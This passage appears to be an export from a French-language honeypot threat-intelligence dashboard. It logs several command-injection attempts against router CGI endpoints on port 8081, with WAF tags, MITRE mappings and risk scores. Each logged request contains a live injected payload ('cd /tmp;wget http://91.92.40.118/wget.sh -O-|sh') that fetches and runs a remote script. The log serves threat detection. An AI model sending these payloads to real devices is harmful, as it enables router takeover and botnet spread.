},
"payload_preview": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171",
"method": "POST",
"path": "\/cgi-bin\/wireless.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171\r\nConnection: close\r\n\r\nsz11gChannel=1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr1;busybox wget http:\/\/91.92.40.118\/w",
"payload_snippet": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/wireless.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171\r\nConnection: close\r\n\r\nsz11gChannel=1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr1;busybox wget http:\/\/91.92.40.118\/w",
"payload_snippet": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e0811995e53731b5f90fc023683317272c2f6fed",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/wireless.cgi",
"request_line": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/wireless.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/wireless.cgi",
"request_line": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/wireless.cgi",
"evidence_snippet": "POST \/cgi-bin\/wireless.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 171",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:12 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/internet.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/internet.cgi
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/internet.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/internet.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/internet.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/internet.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 176
Requête brute (extrait)
POST /cgi-bin/internet.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 176 Connection: close gateway=192.168.1.1`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s wdr2;busybox wget http://91.92.40.
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "0629d7057c54a343dd0d4f93345dc6e243865841",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 327,
"payload_entropy": 5.16965165796522,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "bf38ea8cef8d51c26c553a16765c473947b2c4c8",
"event_fingerprint": "326f9dfd298cf46bb6941d8359ae0258c23aed21",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "e6ced12d6f5a8b3ad4e4d3c9e90461ec",
"path_pattern_hash": "79c2d1d58dcaacc68cc00d1bea04f739"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176",
"method": "POST",
"path": "\/cgi-bin\/internet.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/internet.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176\r\nConnection: close\r\n\r\ngateway=192.168.1.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr2;busybox wget http:\/\/91.92.40.",
"payload_snippet": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/internet.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/internet.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176\r\nConnection: close\r\n\r\ngateway=192.168.1.1`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr2;busybox wget http:\/\/91.92.40.",
"payload_snippet": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "01791753442ee7b6f42210884bf0456bd9125dc5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/internet.cgi",
"request_line": "POST \/cgi-bin\/internet.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/internet.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/internet.cgi",
"request_line": "POST \/cgi-bin\/internet.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/internet.cgi",
"evidence_snippet": "POST \/cgi-bin\/internet.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 176",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:12 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/adm.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/adm.cgi
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/adm.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/adm.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/adm.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Con
Requête brute (extrait)
POST /cgi-bin/adm.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 186 Connection: close reboot_enabled=1&reboot_time=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s wdr3;busybox wget http://91.9
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "7981228fb9061b584c46dcd5df6396237d7cf2ae",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 332,
"payload_entropy": 5.222223037364921,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 15,
"anomaly_count": 0,
"campaign_key": "bf38ea8cef8d51c26c553a16765c473947b2c4c8",
"event_fingerprint": "cecb907eb30b0d83ae6159722b5e2f2712679c21",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "901cc81ecec25fdcd5410a308c336d4e",
"path_pattern_hash": "4861580e8d67a9feec8ee9a93d4f87e4"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nCon",
"method": "POST",
"path": "\/cgi-bin\/adm.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/adm.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nConnection: close\r\n\r\nreboot_enabled=1&reboot_time=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr3;busybox wget http:\/\/91.9",
"payload_snippet": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nCon",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/adm.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/adm.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nConnection: close\r\n\r\nreboot_enabled=1&reboot_time=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s wdr3;busybox wget http:\/\/91.9",
"payload_snippet": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nCon",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8016ee8beed5490a5caae76375d3a16c22f9ffbf",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/adm.cgi",
"request_line": "POST \/cgi-bin\/adm.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nCon",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/adm.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/adm.cgi",
"request_line": "POST \/cgi-bin\/adm.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/adm.cgi",
"evidence_snippet": "POST \/cgi-bin\/adm.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 186\r\nCon",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
